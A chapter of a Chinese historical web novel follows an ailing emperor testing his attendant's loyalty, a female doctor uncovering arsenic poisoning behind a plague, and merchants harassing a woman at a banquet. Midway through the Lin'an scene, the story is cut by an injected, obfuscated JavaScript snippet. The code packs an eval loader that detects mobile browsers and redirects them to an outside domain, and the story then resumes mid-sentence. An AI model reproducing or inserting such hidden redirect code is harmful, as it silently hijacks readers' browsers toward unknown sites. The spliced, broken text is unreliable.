46. 第 46 章

作品:《静看后来人

    烈阳蔽天,万虚宫外红墙黄瓦片子被日头晒得滚滚发光,再过十几日转眼要进入七月,一年最热的节段,朔风难起,万虚宫内殿依旧纱幔团遮,月初汪顺和浣衣局打好招呼,纱幔料子换成夏日最轻薄遮阴的软料。


    偏顾怀安咳疾再犯,换纱幔的主意只能搁置。


    说来也巧,顾怀安每回拆见谢文晟递来几次急报,他的咳疾发的愈发厉害,姜泽柔还愿给缓解咳疾药方吃下也不管用,太医每日提着药箱往里赶,因着病情加重,早朝上不了,地方交上来的折子全都交给内阁杨贞几位大臣协理。


    殿门半开,太医特意嘱咐不能受凉,二门三门日里紧关紧严,杨贞和太医前来偶然开个半扇迎人,人进就关,值守二门小太监悄悄侧身往殿门方向挪两步取风,袖口小心擦汗,“姜近侍。”


    “皇上醒了吗?”姜则柔住的侧殿阴凉,一路到这不过拐角功夫,一身的凉气裹着热气一贴,四肢霎暖,鼻尖一痒,竟生出几分倦意。


    小太监摇头,低头回话:“瞧着时辰还早,皇上应在午睡。”


    病情加重,顾怀安午睡时辰比平时多上一刻,换作以往这个时间,是他难得练字看书休闲时分。


    如今……


    入睡的时辰愈发靠前……


    醒的也比平日晚些……


    “多谢。”姜泽柔轻谢一句,提着盛药的紫木漆匣进去,小太监退后一步提醒道:“姐姐,汪公公在里头伴驾一夜,来了几位弑夜司的爷儿。”


    非朝廷重事,弑夜司的人只需要照令回禀汪公公,平常没有进万虚宫内殿情况出现。


    万虚宫值守太监多数都是汪顺亲手提携,汪顺选人办事不收儿子孝敬,不论出身背景,听话伶俐皆入他的眼,专心忠事不论品阶都有机会调取要处当值。


    值守二门小太监此言带有几分心疼干爹的口吻,再有提醒她今日小心当值切莫冲撞主子。


    临安一件事一件事跟下崽似爆出来,顾怀安伤心惧疲,不到半月姜泽柔就被传进内殿侍候。


    姜泽柔定了定神,收起四肢因暖气扑身带来的闲倦,继续进入三门。


    值守三门小太监见是她来,热络推开半扇殿门。


    “姐姐仔细。”


    三门一进便是内殿,纱幔团遮,排窗紧闭,窗格中央今巧贴了各位进士文章,剪裁长体,日光一照,娟秀的楷体旁立时晕起半圈明黄,昏黄落在玉砖再顺着纱尾折去藻顶,云云若若,轻烟绕行,明明闪闪之间,恍似仙境。


    顾怀安藏于软塌,内阁几位大人常来探望,为免殿内药气过重惹人触情,汪顺特意用烧水的土炉加上几块檀香清鼻,大殿中央放有一块岩石大小寒冰,作为减去檀香散发的沉闷,降低外头人带进的暑气。


    姜则柔迈步进殿,好比早入秋月。


    阴凉非常。


    万虚宫原叫澄明宫作为皇室宗亲太后皇后国节佳日团聚祷祝之地,先皇为立皇后,太后早崩,贵妃不喜夏日宫殿炎热特要了澄明宫作居。


    先皇溺爱贵妃非常,无不应答,派人拆木重修,玉石做砖,金箔贴顶,冬不烧炉,夏不采冰。


    用料奢靡。


    竣工在即,先皇崩世,贵妃一族卖官典职,澄明宫改为万虚宫作为顾怀安休息场所。


    接待官员,内廷监内阁议会,夜寝就食,皆在万虚宫进行。


    “来了。”汪顺歇在塌角,两侧陪着弑夜司两位大人,顾怀安昨晚一夜未眠,三个人陪着不敢入睡,临到晌午才眯上一眼,汪顺小声起身掸了掸衣裳,两个弑夜司的人上前,一人扶住他的后背,一人扶住肘后弯,殿内阴凉非常,明闪闪的昏光照在汪顺衣角,姜则柔站在门侧,远远看去像是弑夜司的人要把汪公公带走拷问。


    “汪公公劳累,主子这有我替您看着,您老快去歇息。”


    主子,是皇上对自家奴才特予称呼他的爱称。


    能在皇上跟上喊上一句这样的称呼,内宫上下只有内廷太监几位秉笔太监独有特权。


    姜泽柔一个四品近身内侍,第一天汪顺私下叮嘱她叫这个称呼。


    “姜内侍主子就交给你,小心伺候着。”熬这一宿,内廷监还有许多票拟等他过眼,汪顺缓缓嘱咐。


    “是。”


    汪顺回内廷监,两个弑夜司的人竟也跟着离开,放下漆匣,匣地碰到玉砖轻“嗒”一响,姜泽柔提着袍角走到汪顺眯眼歇息的塌角,轻声唤一句,“主子。”


    纱幔没有动静。


    “主子。”


    还是没有回应。


    圣颜不可冲撞,姜泽柔记着小太监的话,忐忑须臾,最后还是以龙体为安的念头,大胆掀开纱幔,弯身一瞧,姜泽柔面容一滞,并不是顾怀安早早醒来和他四目相对来的尴尬,反之顾怀安斜面双手抱身蜷缩一角安睡,随身一套月蜜色软绸寝衣,墨发散在枕面,大半张脸陷入凉被。


    借着掀开一角隐隐透进的昏光,姜则柔轻轻移开发丝,见他下颌削尖,唇色薄白,脸色比前几日见得更差劲些。


    “主子。”姜泽柔轻轻推一下,“该喝药了。”


    缩在软榻,顾怀安做了稍长的童梦,梦中他年尚五岁母妃父皇夫妻恩爱并未情意破败,同表弟鹤安一道去尚书房念书,谢太傅接他们上下学,沈姨母姨夫也会偶尔进宫看望母妃给他带民间小吃。


    转眼一瞬,兄弟二人长大成人,他到了纳通房晓人事的年纪,皇子纳通房都是经过内廷监和掌声嬷嬷亲自挑选,年龄适合,家世清白。


    最重要一点家中不可经商。


    提防挟宠乱事,商事误国。


    顾怀安初次经人事,通房姑娘面容和善又是父皇母妃亲自掌眼,特此摆上两桌小宴,只邀请一些在至交伴读算是给她一份颜面。


    “主子。”


    顾怀安感觉有人推搡,梦中冗杂的回忆顷刻杂堆,一盆盆带着血腥味的液体顺着裤脚流失,接生嬷嬷摇头叹息,母妃自戕验明清白,沈氏一族流放千里,父皇苛责禁闭,谢太傅吐血而亡……


    顾怀安猛然睁眼,姜泽柔拍打动作一顿,一下不知道是跪下认罪还是继续开口,窗口日光猛照,似乎是要把今日最后一点光辉爆挣出来,殿内忽明忽暗,顾怀安撑起身,一只手搭在右腿,眼底因梦凝结的阴煞还未消散。


    帝王之威,不可擅测。


    姜泽柔轻舒一口长气,在他发难之前提袍跪下,目光暗暗盯着放在塌角的药碗,温声提醒,“主子该喝药了。”


    跪下身,捧着药碗抬至头顶。


    冰……好冰……


    就像寒冬腊月被人丢进冰河封存,不带一丝温热,顾怀安很瘦,接过药碗的动作很快,指骨外凸,皮肉不过相触须臾。


    “喝了药那么久的药,你说我的身子可有好些?”


    “良药苦口,主子只要日日服药,定会朝暮如春”


    听着她和太医院上下同出一辙的话术,顾怀安闷声一笑,“守规矩。”


    不急叫她下去,把药碗放在一侧,“按照大栎规制二品以上的官员女眷不可进宫待选,满宫上下都知道你是王院判的干女儿,一入宫我就派人把你安置在储秀宫吃穿戴用都是主子,却又独独两月不肯见你,你可曾揣摩圣意?”


    “圣意深奥,奴婢不敢擅测。”


    “懂规矩。”顾怀安微怔,撩开长发,五指遂入发间,低不可闻赞了一句,“李姑姑果然把你教的很好。”


    嗓音很低,像是秋树高上独存的落叶,一己之躯违抗天时,随时都有粉身碎骨的风险。


    悲凉……


    不知所畏……


    “姜近侍可知做我的近身内侍和其他宫人什么不同?”


    内宫有规:无品无阶末流普通宫人二十五岁都可出宫。或是被主子看中提拔或走或留全在她一念之间,宫妃不得插手阻碍。


    然,有实位品阶的女官不受年龄限制,不忍深宫寂寞出宫同家人团聚,就需同外朝官员一样递交辞呈,一道道手令勘验,不可自行决断。


    “宫人年至二十五岁,掌事姑姑依宫规放出宫雨家人团聚。奴婢得主子天恩封为近侍,忠顺圣心,不敢有此念想。”


    “忠顺圣心。”顾怀安又笑,”我问你,何为忠顺?”


    忠顺?


    姜则柔一惊,往来贤君名臣之间多为忠而不顺,顺而不忠,就算是声名显鹤商鞅管仲名人贤世多有自己一方个性。


    “君君臣臣①。”姜泽柔答的含蓄,“古往今来多有贤君明臣,奴婢比不上朝廷上的大夫学士只愿尽心侍奉主子,略尽薄力。”


    “为君呢?”顾怀安显然并不打算轻易放过这个自他而言,逼她表清心意的机会。


    “为君.......”


    “姜姑娘。”顾怀安放软口吻,好似二人初遇一般,暂时放下身份高低,“普陀寺一别,怀安本想找一日向你坦白我的身份,不曾想竟是你先一步来我身边。”


    委委咳嗽两声,语气端的平静,缺不叫她起身,继续阴阴问道.“是你那个表哥给你出的主意?叫你来到朕身边,监视传递,好借用朕的名头干扰朝局!”


    “主子息怒!”临安的急报她在值守万虚宫三门小太监口中听说过一点消息,临安疫症严重无人敢入,表哥亲自推荐医师去临安,弑夜司今儿来这怕就是为了这事,“主子就算给奴婢一万个胆子,奴婢也不敢有这样的想法,奴婢最初对主子身份并不知情,进宫也不是为了谁做的眼线,王大人收奴婢做干女儿也都是看在姑母的份上。”


    “姑母和王大人年少情谊,情深缘浅不得相守,姑母一身未嫁无儿无女,王大人怜惜姑姑遭遇,特此收了奴婢做义女为姑母日后有个倚靠。”语速稍软,姜泽柔顺着他的意思,鼻尖一紧从眼里掉出几颗泪来,似怨似慕道:“奴婢进宫不敢说没有家中人的半分心思,表哥同奴婢自幼一同长大,普陀寺一别,见我对公子牵挂,苦寻不到方叫姑母替我寻找。”


    “相处数日,公子竟还不明白泽柔的心吗?”


    原来如此……


    “妹子开开门。”张二娘端着一碗在小厨房新作的翠玉米粥等在王茯门前,自打蓝玉和她那晚从县衙提着包东西回来,王茯这几天就把自己关在屋里鼓弄。


    见人吃饭都是匆匆两眼跑回屋子,连发药熬药她平日最操心的事,全交给她们和几个亲兵来做。


    “晚饭才吃两口,听姐的话喝几口粥垫垫肚子。”屋里不见动静,张二娘继续劝着,王茯这个妹子心重,疫病复发在她心头就是一块上了铅的称坨,日日掉在心口,是神仙也得脱累死。


    “姐。”门内响起门栓取下的动静,张二娘一喜正想往里一钻,王茯抬手一挡“等等!”


    “咋了,妹子?”


    “我还有事!放屋子回来再吃!”


    “又搞什么……”王茯跟风似的跑下楼,张二娘喃喃两句,低眼看着手中这碗米粥,叹气回小厨房温着。


    县衙大堂,郭县丞磕磕绊绊说出差役提的打算,隐去出主意的人,他特意选在疫病病复发后两日回报。


    “卑职的提议,不知堂尊……”


    女人治病就是老太太做牛车,医了大半月两日还是一副半死不活的样子不温不火。


    趁着疫病又回到和缓的局面,朝廷借田改桑日子拖了半个月,临安县一颗桑苗还未栽种,确实迫在眉睫。


    “法子是郭大人想出来的,那就由郭大人带人去做。”


    “多谢堂尊。”郭县丞双眼一提溜,“这法子那是卑职一个小人想出来的,这都是朝廷对咱们临安的照顾,再有省里派来的女医,病态稳定,不消多日临安的疫病就会消散如初,堂尊也就省心休息。”


    “去吧。”


    “是。”提袍出门,郭县丞沉溺在自己未来小金库盘算中,不留神就和迎面跑来的王茯快要撞个对头。


    领口一紧,蓝玉隔在两人中间,郭县丞被他一推,勉强扶墙站稳,吐出一口浓痰,低声暗骂一句,“疯丫头!”


    “大人临安县百姓死因不是瘟疫!”


    “前夜剖尸查验我在幼童胃袋肠袋找出些许丝菌,又在大人提供各个灾民行动踪迹的文册上发现这些因瘟疫离世的灾民都有去后山采过山菌。”


    “山菌喜阴纳潮,逢雨时节就会大批繁出,临安五月下了一月大雨,山菌挣出泥土,洪水一来这些藏在地底还没冒出的山菌被冲到表面七零八倒,临安百姓一不留心捡回毒菌。”


    “单靠一朵毒菌就能断定这些人不是死于瘟疫?”赵垦出身贫寒,母亲在家也曾多次去山里捡山菌,雨水时节多山菌山土之理他也明白,可非说是毒菌引发临安上下几百人口死亡。


    证据稀薄,难以支撑。


    百姓不认,省里不认,就连他这个县令也不会认。


    王茯知道单一层毒菌的解释,无法让大家信服,继续说道,“误食毒菌多不致死,大多呕吐腹泻癔症之像,前夜那具尸体口鼻发黑,耳膜有血迹,乃中毒所致。”


    “何毒?”


    “鹤顶红。”


    “鹤顶红?”赵垦一吓,就连本只打算陪做壁上观的蓝玉眸光一闪,微微斜身仔细听她后言,“小大夫莫要拿本官取笑,后山偏远怎会有鹤顶红?各县医馆存有毒物都由官府每隔三日亲手查验把控,买卖出销必须经过官府备案才可出手,平常百姓那能买到鹤顶红这类昂贵药物。”


    “日防夜防,家贼难防,要是有人借瘟疫生事,赵大人如何知事?”蓝玉突然插话。


    一语成谶,这话正是王老爷子在王茯离开万月楼给的另外一种因素。


    “鹤顶红一事无从查迹,各家医馆都无出销此物的记录,望大人应准我们进后山解开谜团。”


    “若真如我这位哥哥所言,有人罔顾人命,还请大人秉公执法!”


    瘟疫生事?


    赵垦心中一寒,这些天他只想朝廷借田种桑的政策如何降低百姓损失,竟忽略会有人借病起事,“去……现在就去!”


    湖水分流退后,后山草木凋零,这半月未曾下雨,土地结实,减少滑体之险,王茯二人以防县里有人通风报信,拒绝赵垦派人相伴的要求,带着巡抚衙门来的一队亲兵进山找菌子。


    除开进后山拾柴捡菌子大人,一些小孩子也会常进后山玩耍,粗大的树干被人系上红绳标记,为他们这类不熟悉山体的外来货提供不上便宜。


    “哟!这地鬼菌子还挺多,一脚一个。”一个亲兵背着竹筐,抬脚调侃。


    “你小子别净想着吃,女医说了这些都是证物。”


    “头


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16501335|184436||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    儿。”另一个亲兵先他们半晌进山,面色严肃跑回。


    “这事不简单。”瞟一眼捡山菌的王茯,低声说着:“兄弟们在前面发现尸体,照模样是临安逃出去的那个大夫,这个药瓶也是在他身边发现。”


    苏公有文:崇山峻岭,茂林修竹,又有清流激湍,映带左右,引以为流觞曲水,列坐其次。


    日缓西沉,几片薄叶浮在池面,亭上把酒猜拳,亭外吹埙鼓瑟,杂乱篇章,好不热闹。


    王茯三人走后,姒兰君为土豆聘请先生日日教导,算算日子抛开早膳会面,他有小半月没见过姒兰君在家的身影。


    忽而,耳畔掠过一记湍急的哨音残破云霄。


    “好箭!”亭中掌声四起,“咱们这个曲水流觞宴席最是不能缺的就是有人助兴,姒家主这一箭可让大伙开了眼见,百步穿杨,一箭双耳,大兴!”


    陪安蕴胡闹小半月,姒兰君今本不打算出门,亭内猜拳吃酒,带着文帽油汁沾袖学古人充脸开宴高矮胖瘦占齐全四位是越州本土大富绅。


    越州上下一半产业握在这四人手里,和官府关系不浅,自她在万月楼开了天楼,这四只老鼠就跟上楼天眼盯上她不消停,连写好几封请帖送到她院中。


    不得已卖去一个面子赴宴。


    “听闻姒家主身侧这位是万月楼新赎出来的雅妓?”矮富绅挑着牙缝,轻佻的目光勾勒沈鹤安的身影,喉结滚动,舌尖用力舔过后边几口黑牙,色火盛盛,仿佛随时都会冲上来把她扒干抹净。


    “娼妓之流怎可带到雅席上来?姒家主做事过于儿戏。”高富绅自诩清高雅至,最是瞧不上其他三人这副痴迷做饱之相。


    “各位叔伯说的有理。”放下长弓,姒兰君揽住沈鹤安侧腰,平平说道:“兰君独来越州身边无人,内妾身子孱弱不便离身,故而听各位叔伯相邀,尚未打听是否有女眷相陪,实在是得罪。”


    胖富绅出来打圆场,“大家都是在越州都是有头有脸的人物,姒家主年少丧父,各位何必同一个女人家扶养的小孩子计较。”


    “这女人咬文嚼字吟诗读文风情万种,不知在床上也是不是也如此。”


    “要我说这女人到了年岁就是供人取乐的玩样,我家后院那个黄脸婆脸酸吃素,老子不过去个花楼她就要死要活回娘家。”


    “姒家主不成家年轻轻轻没有这个烦恼,赎个玩意儿玩玩也不见有人和你吵闹。”


    “你怎么把媳妇追回来的?你说啊!”


    “当然是床上给她弄的服服帖帖!”


    “哈哈哈哈哈!”


    “亭上现有个美人,你也去伺候一回,兄弟这才服你。”


    受瘦富绅怂恿,矮富绅竟真的不知廉耻舔舌磨了磨后牙问道:“姒兄弟不介意借我玩玩两天?”


    “内妾文采平平,怕是会惹婶子恼怒,叔伯后宅不安。”


    “女人家装个什么科举学文。”故意不去听她话语中的拒绝,矮富绅握住酒杯,脚步浮浮上桥就要去抓美人,“只要会床上伺候人。”


    沈鹤安侧身一避,他矮的实在出奇,身长大约不过四尺,连他半个腰身不足,满脸麻种,黄口黑牙,瞧着这装醉调戏稳当的步伐,霸女强占之事定不少干!


    矮富绅被他一拒,挂不上面子,眼中顿时惹火,“妈的!给脸不要脸是吧!”


    “叔伯之话不然。”


    “女子读书识文不知哪天就能科举登堂。”


    “哈哈哈......科举登堂?姒家主莫不是喝醉了酒,分不清白昼夜时,这等颠倒胡话都说的出来!”


    “女人一辈子就是相夫教子,带着嫁妆给我们做陪衬,安分些生个儿子考个状元回来,我们几个倒舍她领个诰命就是,还指望登朝入堂,姒家主读的是哪国的礼教。”


    “既是胡话,你方才戏我内妾借你同耍这又是哪国礼教?”


    “越州水土养人难道出来的都是一些吃喝玩乐枉背伦理道德一派?”


    “我朝以孝治国不知各位方才所言用于叔伯家母身上又该作何敢想?”


    “我们这是闹着玩,姒家主未免过于当真。”


    “闹着玩?”沈鹤安低讽一笑,抽出长箭递给她。


    “几位叔伯想玩兰君就陪叔伯玩玩。”接过长箭,挖弓搭箭,箭头瞄准这位。声称借妾同耍的矮富绅,“宴席开场叔伯提说酒令作乐,酒令如军令不可赖废,内妾开场已先行过一令,这回论到你。”


    “我……”知道姒兰君这会是玩真的,矮富绅忙换上谄笑恭维,“尊夫人才情出众,那是我可以这等鼠辈可以宵想,姒家主大人有大量,不过是个小游戏……”


    “咳咳。”桥后响起两声咳嗽。


    越州这些本地富绅耳朵精明,打远一听知道是熟音,纷纷起座作揖,“王大人,万大人。”


    “各位老板来的,是我和万大人来迟不要介意才是。”


    “万大人和王大人可是咱们越州擎天一柱,我们几个怎么敢怪大人。”


    “只怕有些外地来的不懂规矩。”


    听来人是官,姒兰君弓箭未放依旧盯着矮富绅方向,眸色凌凌,仿佛下一刻松箭离弦。


    万青扫过三人僵在桥中的身影,按住王洛山,打个场面话,“没穿官服.…不用行这些虚礼。”


    王洛山:“你就是给临安推荐女大夫的姒老板?”


    王洛山话一落口,四个商绅目光瞬间跟淬了毒一般射在她们二人身上,眯眼磨牙,似乎想找那处下口在她身上咬下一块肥肉。


    弥补疫病带来的商机。


    “省里议了一个事,和你们有关。”三人横在桥中,王洛山不好过去,索性站在桥上对亭里三个喊道:“我和万大人来这,叫你们心服口服,有什么不服的当面骂出来,别婆婆妈妈背地里骂我们祖宗老娘。”


    “不敢不敢。”


    “常言道:扁舟共济与君国,各位都是越州土生土长靠山吃山,靠水吃水,临安瘟疫当前,朝廷忧心,藩库缺银,大家伙想个办法凑出一笔款来,也算给自个也攒攒阴德!”


    好一个扁舟共济与君国,念上一句酸文,他们就得掏钱补窟窿,这和抢劫有什么区别?


    四位富绅面色一青。


    被王洛山一抢嘴,万青事先准备一箩筐迂回战术无法施展,笑着转移苗头:“姒老板仁心,临安县刚出瘟疫就连人带药捐了十万两。”


    弓弦拉紧,姒兰君抬手一放,刺鸣的箭哨精准落在几位当事人的耳中,箭身嵌入亭匾。


    “咔嚓”一声,掉下几块碎石。


    万青这是替王洛山转移火力,用自己这个外乡人作为施压他们的脚力,“兰君不敢邀功。临安是大栎的临安,兰君身为大栎一份子,虽不是越州本土人士,得见百姓颠沛饱受病痛,故自荐去中丞大人面前。”


    “姒老板仁心。”两人干了那么多年三司,对于姒兰君这套遛老鼠下马威场面,多少还是能控制仪态,“各位?”


    四位富绅揩了揩汗,幸好姒兰君手里这支长箭杀鸡儆猴,不是对着他们当中一个人来,假设她选中一人泄火,他们四个人就算全部拉来挡箭,只怕也是落个箭穿而望亡。


    “既然是谢中丞的意思,姒家主仁爱兼备,我们这些长在越州的人哪有不依之理?”